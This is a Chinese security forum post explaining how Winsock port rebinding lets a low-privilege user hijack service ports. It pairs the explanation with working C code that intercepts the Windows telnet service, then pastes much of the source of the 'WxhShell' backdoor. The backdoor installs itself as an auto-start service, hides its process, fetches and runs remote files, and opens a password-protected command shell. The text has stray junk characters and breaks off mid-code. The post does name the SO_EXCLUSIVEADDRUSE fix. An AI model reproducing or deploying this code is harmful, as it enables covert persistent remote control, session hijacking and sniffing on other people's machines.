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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ja| ! fT  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R>To L  
d90B15]gv  
  saddr.sin_family = AF_INET; k;R*mg*K  
hUcG3IOBf  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]ZelB,7q  
d3+pS\&IX?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cV_nYcLkz  
ddmTMfH  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +n%uIv  
jmmm0,#D  
  这意味着什么?意味着可以进行如下的攻击: !uii|"  
!1]72%k[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G@oY2sM"  
[bIdhG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) B@Ez,u5  
r+217fS>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &7!&]kA+  
**d3uc4y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  N Q_H-D\,  
!krbGpTVH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'xm_oGWE  
L"&j(|{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (GJ)FWen0"  
M2(+}gv;7p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -~~"}u  
ykH?;Xu  
  #include ^]3Y11sI  
  #include ^\Nsx)Y;  
  #include !5wm9I!5^  
  #include    4pq@o  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1@6dHFA`o  
  int main() v=EV5#A  
  { NOLw119K  
  WORD wVersionRequested; MU4/arXy  
  DWORD ret; t8DyS FT  
  WSADATA wsaData; @cA`del  
  BOOL val; U8KB @E  
  SOCKADDR_IN saddr; 1P:r=Rt/  
  SOCKADDR_IN scaddr; S Cs@Q  
  int err; tT'*Uu5  
  SOCKET s; sy=M#WGS  
  SOCKET sc; I *YO  
  int caddsize; Kv^ez%I  
  HANDLE mt; ~CgKU8  
  DWORD tid;   ~F[}*%iR  
  wVersionRequested = MAKEWORD( 2, 2 ); fCdd,,,}  
  err = WSAStartup( wVersionRequested, &wsaData ); DvCs 5  
  if ( err != 0 ) { 6ziiV _p  
  printf("error!WSAStartup failed!\n"); 1OJD!juL$  
  return -1; s+&Ts|c#  
  } bwR_ uF  
  saddr.sin_family = AF_INET; y|f`sBMM  
   \>0%E{CR  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2`hc0 IE  
S*-n%D0q5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,#3u. =IR[  
  saddr.sin_port = htons(23); L1A0->t  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DFKFsu8s  
  { PPSf8-MLW  
  printf("error!socket failed!\n"); =r=[e}&9  
  return -1; bfy `UZr  
  } T\ZWKx*#  
  val = TRUE; rqbX9M^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 m99j]w r~c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /z:pid,_0  
  { r \+&{EEG  
  printf("error!setsockopt failed!\n"); ru[W?O"  
  return -1; m8'B7|s  
  } H }w"4s  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; c&r8q]u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^%l~|w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 09z%y[z  
WM$)T6M  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) GyI(1O AW  
  { x/D"a|  
  ret=GetLastError(); %"tLs%"7=P  
  printf("error!bind failed!\n"); lg` Qi&  
  return -1; \`?#V xz  
  } #;FHyKx  
  listen(s,2); i(DoAfYf/q  
  while(1) YI05?J}  
  { "#bL/b'{  
  caddsize = sizeof(scaddr); .w5#V|   
  //接受连接请求 lU]/nKyd  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !u~h.DrvZ  
  if(sc!=INVALID_SOCKET) ;%"YA  
  { ZqKUz5M4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ga0>J_  
  if(mt==NULL) B.wihJVDg  
  { KV1zx(WI  
  printf("Thread Creat Failed!\n"); ]jo^P5\h>  
  break; p&1IK8i"  
  } @ k+Z?Hp  
  } xb#M{EE-.  
  CloseHandle(mt); b;$ -s \%  
  } YrAaL"20  
  closesocket(s); 9L3#aE]C  
  WSACleanup(); ZUGuV@&-T  
  return 0; GE4d=;5  
  }   QuFcc}{<]  
  DWORD WINAPI ClientThread(LPVOID lpParam) w)I!q&`Y  
  { {l&6= z  
  SOCKET ss = (SOCKET)lpParam; cgKK(-$ny  
  SOCKET sc; x17cMfCH%  
  unsigned char buf[4096]; `P;fD/I  
  SOCKADDR_IN saddr; GRpS^%8i@  
  long num; HfN-WYiR  
  DWORD val; ^bpxhf x  
  DWORD ret; u@d`$]/>F  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]'Y vI! r  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |RT#ZMJek  
  saddr.sin_family = AF_INET; .<JD'%?"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W-mi1l^H{  
  saddr.sin_port = htons(23); x7$U  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zo66=vE!  
  { FG8genCH@  
  printf("error!socket failed!\n"); :CEhc7gU  
  return -1; Zf;1U98oC  
  } <qH>[ \  
  val = 100; k#k!AcC  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xQs2 )  
  { =8OPj cX.V  
  ret = GetLastError();  8.D$J  
  return -1; :w_J/k5Zd  
  } kJIKULf  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T 1m097  
  { RW 23lRA6  
  ret = GetLastError(); ,ZjbbBZ  
  return -1; C`OdMM>D  
  } Tysh~C|1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %)_R>.>  
  { _[h1SAJ  
  printf("error!socket connect failed!\n"); *ie#9jA  
  closesocket(sc); vW6Pf^yJ  
  closesocket(ss); ~V3pj('/)'  
  return -1; R:YX{Tq  
  } 30]?Jz6m  
  while(1) vvw6 GB,M  
  { hBDPz1<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m<00 5_Z0Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4A0R07"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 M=n!tVlCV  
  num = recv(ss,buf,4096,0); c_a*{L|c  
  if(num>0) y]eH@:MJ;A  
  send(sc,buf,num,0); w'ZL'/d  
  else if(num==0) Y1EN|!WZ  
  break; e#IED!U  
  num = recv(sc,buf,4096,0); ?1}1uJMj-  
  if(num>0) ;hNn F&l  
  send(ss,buf,num,0); oz%ZEi \bW  
  else if(num==0) _m0H gLS~  
  break; C/%umazP9  
  } ]hTYh^'e  
  closesocket(ss); ohusL9D  
  closesocket(sc); %stZ'IX  
  return 0 ; Y>Q9?>}Q  
  } ZN5\lon|Y  
\tLJ( <8  
K^?yD   
========================================================== 3(%hHM7DM  
K97lP~Hu  
下边附上一个代码,,WXhSHELL s@ m A\  
i}ypEp  
========================================================== s0v?*GRX  
~\DC )  
#include "stdafx.h" P (jlWr$$  
qrO] t\  
#include <stdio.h> @^} % o-:  
#include <string.h> MX6*waQ-<  
#include <windows.h> Y'Sxehx  
#include <winsock2.h> O[y.3>l[s  
#include <winsvc.h> D|9C|q  
#include <urlmon.h> ;r>?V2,tm  
vlIet$ k  
#pragma comment (lib, "Ws2_32.lib") c>{X( Z=2  
#pragma comment (lib, "urlmon.lib") r0l ud&_9  
Df02#493  
#define MAX_USER   100 // 最大客户端连接数 \bqNjlu  
#define BUF_SOCK   200 // sock buffer 1gts=g.  
#define KEY_BUFF   255 // 输入 buffer V\%;S  
wKe^5|Rr  
#define REBOOT     0   // 重启 -r]s #$  
#define SHUTDOWN   1   // 关机 KM< +9`  
lYv :  
#define DEF_PORT   5000 // 监听端口 X_+`7yCi"x  
t*zve,?}  
#define REG_LEN     16   // 注册表键长度 4O9HoX#-?  
#define SVC_LEN     80   // NT服务名长度 JM -Tp!C>  
"v/^nH  
// 从dll定义API HI#}M|4n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?RiW:TQ*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I/jMe'Kp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {}N*e"<O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9 }|Bs=q  
zN#$eyt  
// wxhshell配置信息 ]o$Kh$~5  
struct WSCFG { r.xGvo{iY  
  int ws_port;         // 监听端口 c~ l$_A  
  char ws_passstr[REG_LEN]; // 口令 )"|'=  
  int ws_autoins;       // 安装标记, 1=yes 0=no %Gl,V5z&  
  char ws_regname[REG_LEN]; // 注册表键名 ktU98Bk]  
  char ws_svcname[REG_LEN]; // 服务名 6=Kl[U0Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D(Zux8l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t< $9!"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Zg5@l3w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |Q`}a %  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -5>K pgXo\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {F6hx9?  
Ko\m8\3?fK  
}; ggVB8QN{  
lEQ 63)Z  
// default Wxhshell configuration S"CsY2;  
struct WSCFG wscfg={DEF_PORT, Ayc}uuu  
    "xuhuanlingzhe", #~I%qa"_pa  
    1, "}*P9-%  
    "Wxhshell", j,/OzVm9  
    "Wxhshell", J^hj R%H  
            "WxhShell Service", Itr yiU9  
    "Wrsky Windows CmdShell Service", ]]d9\fw  
    "Please Input Your Password: ", }(Nb]_H  
  1, {[hV ['Awv  
  "http://www.wrsky.com/wxhshell.exe", hx+a.N  
  "Wxhshell.exe" zc'!a"  
    }; %LXk9K^]e  
r9%4q4D?>9  
// 消息定义模块 _p?lRU8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BEg%u)"([  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qdCa]n!d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lD6hL8[  
char *msg_ws_ext="\n\rExit."; Z=z'j8z3  
char *msg_ws_end="\n\rQuit."; ;s3"j~5m)  
char *msg_ws_boot="\n\rReboot..."; 09_3`K. *  
char *msg_ws_poff="\n\rShutdown..."; y,DK@X  
char *msg_ws_down="\n\rSave to "; 3VCyq7 B^  
Kk!D|NKLC  
char *msg_ws_err="\n\rErr!"; @8DB Ln w  
char *msg_ws_ok="\n\rOK!"; NlU:e}zGR  
q_g'4VZv  
char ExeFile[MAX_PATH]; }z,4IHNn  
int nUser = 0; Wgq*|teW  
HANDLE handles[MAX_USER]; `;(/W h  
int OsIsNt; TA`*]*O(  
U2ecvq[T  
SERVICE_STATUS       serviceStatus; Al$"k[-Uin  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +'= ^/!  
k>K23(X  
// 函数声明 HOsq _)K  
int Install(void); bNFX+GA/  
int Uninstall(void); ?)",}X L6  
int DownloadFile(char *sURL, SOCKET wsh); XsQ<ye un  
int Boot(int flag); =5oFutg`  
void HideProc(void); ro}plK(<WQ  
int GetOsVer(void); e l'^9K  
int Wxhshell(SOCKET wsl); w I #_r_  
void TalkWithClient(void *cs); QD+dP nZu  
int CmdShell(SOCKET sock); UrH^T;#  
int StartFromService(void); gEO#-tMjOQ  
int StartWxhshell(LPSTR lpCmdLine); n2Dnpe:  
q}ZZqYk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k:m~'r8z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OrPIvP<w@  
.Ky<9h.K  
// 数据结构和表定义 H^K(1  
SERVICE_TABLE_ENTRY DispatchTable[] = [jD O8n/  
{ }C2I9Cl  
{wscfg.ws_svcname, NTServiceMain}, #n{wK+lz  
{NULL, NULL} -*e$>w[.N  
}; V/"0'H\"1  
]=WJ%p1l  
// 自我安装 /'TzHO9_`  
int Install(void) ~< Gs<c}z  
{ 6M"J3\ x  
  char svExeFile[MAX_PATH]; xfkG&&  
  HKEY key; TkWS-=lNH0  
  strcpy(svExeFile,ExeFile); m?;)C~[  
EVgn^,  
// 如果是win9x系统,修改注册表设为自启动 =ub&@~E  
if(!OsIsNt) { ^yy\CtG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7fI[yCh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6}C4 SZ  
  RegCloseKey(key); ~M(K{6R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r5lp<md  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7Ar4:iNvX  
  RegCloseKey(key); %j2YCV7  
  return 0; # Sb1oLC  
    } (G#)[0<fX  
  } D*vrQ9&# 8  
} (LL4V 3)  
else {  ;lW0p8  
9S=9m[#y'  
// 如果是NT以上系统,安装为系统服务 %?X~,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k W/3 Aq7r  
if (schSCManager!=0)  B*Hp  
{ % eW>IN]5  
  SC_HANDLE schService = CreateService Ywr^uy1V,/  
  ( J24UUZ9&$  
  schSCManager, %pL ,A5M  
  wscfg.ws_svcname, ll[U-v{  
  wscfg.ws_svcdisp, +c}fDrr)  
  SERVICE_ALL_ACCESS, {-Yp~HQF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HxU.kcf  
  SERVICE_AUTO_START, \w^U<_zq  
  SERVICE_ERROR_NORMAL, FK@rZP  
  svExeFile, ofcoNLX5c  
  NULL, [ {lF1+];@  
  NULL, d?b2jZ$r]  
  NULL, +P}'2tE~'  
  NULL, ^4B6IF*  
  NULL .s7o$u~l  
  ); =ZzhH};aX  
  if (schService!=0) <X|"5/h  
  { (zk'i13#6  
  CloseServiceHandle(schService); 'PV,c|f>  
  CloseServiceHandle(schSCManager); P0' ;65  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Rp}6}4=d  
  strcat(svExeFile,wscfg.ws_svcname); Mgcq'{[~Y=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2}~1poyi>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); isWB)$q  
  RegCloseKey(key); +Nc|cj  
  return 0; s8@fZ4  
    } |I)xK@7  
  } j(/"}d3osm  
  CloseServiceHandle(schSCManager); t(p  
} W 86S)+h  
} qLA  
)ckx&e  
return 1; N;r,B  
} N|1J@"H  
1;.}u= 8  
// 自我卸载 "/ @ ;6   
int Uninstall(void) /xrt,M@  
{ m_\CK5T_  
  HKEY key; =k3QymA  
5'+g'9  
if(!OsIsNt) { xv4nYm9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i,;Q  
  RegDeleteValue(key,wscfg.ws_regname); Srol0D I  
  RegCloseKey(key); [r^f5;Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y$oBsg\v  
  RegDeleteValue(key,wscfg.ws_regname); f 4!^0%l  
  RegCloseKey(key); F^`sIrZvs  
  return 0; e|+uLbN&;c  
  } K{q(/>:  
} Br-y`s~cP  
} #BT= K  
else { aL#b8dCy'  
9&rn3hmP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Lc<Gn y^  
if (schSCManager!=0) Kq-y1h]7H  
{ P d*}0a~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _ogT(uYyr  
  if (schService!=0) ^+,mxV'8!  
  { M{O2O(  
  if(DeleteService(schService)!=0) { ukG1<j7.  
  CloseServiceHandle(schService); dQ;rO$c o  
  CloseServiceHandle(schSCManager); *dUnP{6g  
  return 0; Nm\I_wjX  
  } g*Cs /w  
  CloseServiceHandle(schService); m#%5H  
  } z%mM#X  
  CloseServiceHandle(schSCManager); %9Ulgs8=  
} tk1qgjE(?  
} BT`/O D@  
QKCk. 0Xe  
return 1; dzbzZ@y  
} xwK<f6H!y  
To=1B`@-  
// 从指定url下载文件 oX?2fu-  
int DownloadFile(char *sURL, SOCKET wsh) v,p/r )E  
{ $lV0TCgba8  
  HRESULT hr; 7 F+w o  
char seps[]= "/"; TioI$?l>W(  
char *token; =>S5}6  
char *file; W P.6ea7k  
char myURL[MAX_PATH]; :2?i9F0_  
char myFILE[MAX_PATH]; 3n6_yK+D  
)5yZSdA  
strcpy(myURL,sURL); <M+ZlF-`  
  token=strtok(myURL,seps); >@T ZYdl  
  while(token!=NULL) #a}fI  
  { p|AIz3  
    file=token; NGS/lKz  
  token=strtok(NULL,seps); 5F <zW-;  
  } xj%h-@o6  
h-jea1m  
GetCurrentDirectory(MAX_PATH,myFILE); B8B^@   
strcat(myFILE, "\\"); gX6'!}G8]  
strcat(myFILE, file); \>9%=32u.  
  send(wsh,myFILE,strlen(myFILE),0); `wk#5[Y_  
send(wsh,"...",3,0); \7("bB=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PiAA,  
  if(hr==S_OK) KY4|C05 ,  
return 0; f4X?\eGT  
else -Z6ot{%  
return 1; #l:qht  
r7w&p.?  
} /r}t  
:5h&f  
// 系统电源模块 |!rD2T\Ef  
int Boot(int flag) j: ]/AReOL  
{ rq2XFSXn  
  HANDLE hToken; oa;[[2c  
  TOKEN_PRIVILEGES tkp; 1Qf5H!5vx  
t{84ioJ"$  
  if(OsIsNt) { uX`Jc:1q3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yUEUIPL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \]y$[\F>  
    tkp.PrivilegeCount = 1; 9{ciD "!&V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,'82;oP4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L>pP3[~DV  
if(flag==REBOOT) { o+6Y/6Xp@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ct #hl8b:  
  return 0; %&e5i  
} hQHV]xW  
else { Vs9fAAXS4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c#U x{^ZE  
  return 0; 51&wH  
} b4,yLVi<T  
  } \N/T^,  
  else { _Se>X=  
if(flag==REBOOT) { d{9jd{ _#G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (K0FWTmm  
  return 0; C7)].vUN  
} bpKb<c  
else { ]lm9D@HMC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?i9LqHL  
  return 0; +a;: 7[%&  
} nA%-<  
} X0P<ifIv  
7!L"ef62o  
return 1; 6;5}% B:#h  
} 5TzMv3;in2  
ob-be2EysH  
// win9x进程隐藏模块 ?vM{9!M  
void HideProc(void) +O\6p  
{ gIRFqEz@o  
|A0kbC.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); syBYH5  
  if ( hKernel != NULL ) IsnC_"f  
  { O+z-6:`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); udW, P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ><^A4s  
    FreeLibrary(hKernel); W99Fb+$I  
  } [Zgy,j\ \  
Rp9uUJ 6o  
return; q$U;\Mg)  
} d+"KXt5CV  
[=..#y!U  
// 获取操作系统版本 wk)gxn1A,  
int GetOsVer(void) Z#^2F8,]  
{  21w<8:Vg  
  OSVERSIONINFO winfo; ezHj?@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IKAF%0[R|j  
  GetVersionEx(&winfo); 5.5dB2w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zg|yW6l)9  
  return 1; "52wa<MV J  
  else ];j8vts&  
  return 0; OJ] {FI  
} Y5Ey%M m6  
]Jv Z:'g}  
// 客户端句柄模块 l.b  
int Wxhshell(SOCKET wsl) gY;N>Yq,C  
{ 6 U# C  
  SOCKET wsh; Z&J417buk  
  struct sockaddr_in client; ZL~}B.nqS  
  DWORD myID; "eGS~-DVK  
WV?iYX!  
  while(nUser<MAX_USER) AB+Zc ]  
{ QDxLy aL  
  int nSize=sizeof(client); uCmdNY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H${Ym BG  
  if(wsh==INVALID_SOCKET) return 1; 0#<_:E  
( |O;Ci  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x{Gih 1  
if(handles[nUser]==0) |oO0%#1H  
  closesocket(wsh); Wpj.G  
else | %6B#uy  
  nUser++; '_(oa<g  
  } g/V C$I!'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '!IX;OSjH  
B(b[Dbb  
  return 0; M(oW;^B  
} /?2yo{F g  
zIRa%%.i<  
// 关闭 socket VAq( t  
void CloseIt(SOCKET wsh) `b9oH^}n j  
{ NP%ll e,l  
closesocket(wsh); [-Q"A 6!Zd  
nUser--; D.$EvUSK<.  
ExitThread(0); tDIzn`$ z  
} 2evM|Dj  
hRc\&+#/  
// 客户端请求句柄 kv`x  
void TalkWithClient(void *cs) {n.g7S~  
{ /<|J\G21  
G)b]uX  
  SOCKET wsh=(SOCKET)cs; 5zEl`h  
  char pwd[SVC_LEN]; 5O)Z}  
  char cmd[KEY_BUFF]; ;'p0"\SV  
char chr[1]; nc$?tC9V  
int i,j; lzuPE,h  
?\^u},HnE|  
  while (nUser < MAX_USER) { bh+R9~  
Ep0Aogp29  
if(wscfg.ws_passstr) { C-4I e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )OjbmU!7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *?\2Ohp  
  //ZeroMemory(pwd,KEY_BUFF); n,xK7icYNQ  
      i=0; S"N@.n[  
  while(i<SVC_LEN) { c}rRNS$F  
S93NsrBbY  
  // 设置超时 @6t3Us~/  
  fd_set FdRead; i37W^9 R  
  struct timeval TimeOut; +cj NA2@  
  FD_ZERO(&FdRead); EH4WR/x  
  FD_SET(wsh,&FdRead); M5P63=1+  
  TimeOut.tv_sec=8; w(mn@Qc  
  TimeOut.tv_usec=0; @?gH3Y_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~ZvZ k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hpAIIgn  
%iJ6;V 4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (<8T*Xo  
  pwd=chr[0]; dIM:U :c  
  if(chr[0]==0xd || chr[0]==0xa) { @ ?e;Jp9  
  pwd=0; k W-5H;>  
  break; T,H]svN5p  
  } `_<AZ{&&  
  i++; -R&h?ec  
    } [Q^kO;  
J^t=.-a|  
  // 如果是非法用户,关闭 socket e=2;z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 75^-93  
} d(]LRIn~1  
;$|+H"g|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AY! zXJ_$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); } 8r+&e  
 *riGi  
while(1) { <(^-o4Cl  
]%mg(&p4  
  ZeroMemory(cmd,KEY_BUFF); 4Y-9W2s  
71)HxC[6vA  
      // 自动支持客户端 telnet标准   E6@+w.VVO  
  j=0; "%}PVO!  
  while(j<KEY_BUFF) { ly^F?.e-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ("{AY?{{  
  cmd[j]=chr[0]; Xf#;GYO|2  
  if(chr[0]==0xa || chr[0]==0xd) { 6\E |`  
  cmd[j]=0; wI`uAZ="  
  break; Hq%`DWus\  
  } _ROe!w  1  
  j++; u\Xi]pZ@X]  
    } 9Y/c<gbY  
:b.#h7Qt<  
  // 下载文件 SSH/q/  
  if(strstr(cmd,"http://")) { }>h?W1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %K%8 ~B  
  if(DownloadFile(cmd,wsh)) - 6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1"!<e$&$X  
  else C6/,-?%)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @c{Z?>dUc#  
  } "@Te!.~A.  
  else { #G]s.by('  
9MGA#a  
    switch(cmd[0]) { %n-LDn  
  f[dwu39k  
  // 帮助 Xbap' /t  
  case '?': { YjsaTdZ!&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v3hNvcMpf  
    break; Tl25t^Y  
  }  [bv.`  
  // 安装 O'!k$iJNb  
  case 'i': { 2o/AH \=2  
    if(Install()) OS \co :  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bggSYhJ?\#  
    else c| p eRO.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >~ne(n4qy  
    break; v3~,1)#aI  
    } dnN"  
  // 卸载 ;((gmg7,  
  case 'r': { 27 Lya!/  
    if(Uninstall()) Q_@ Z.{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GR|Vwxs<@P  
    else X1A;MA@0Ro  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i 5-V$Qh  
    break; iv56zsR  
    } S Xgpj  
  // 显示 wxhshell 所在路径 9l(e:_`_  
  case 'p': { ef|Y2<P  
    char svExeFile[MAX_PATH]; %PyU3  
    strcpy(svExeFile,"\n\r"); Ij4\*D!  
      strcat(svExeFile,ExeFile); gS"@P:wYzs  
        send(wsh,svExeFile,strlen(svExeFile),0); na/t=<{  
    break; =Ybbh`$<  
    } ) Oa"B;\j  
  // 重启 AbfLV942  
  case 'b': { 8zZR %fZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A0&~U0*(~  
    if(Boot(REBOOT)) EB>laZy>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o F @{&  
    else { v< ;, x  
    closesocket(wsh); W.H_G.C%  
    ExitThread(0); ^hZwm8G  
    } \r<&7x#j  
    break; {V:?r  
    } s{A-K5S  
  // 关机 Npq=jlj  
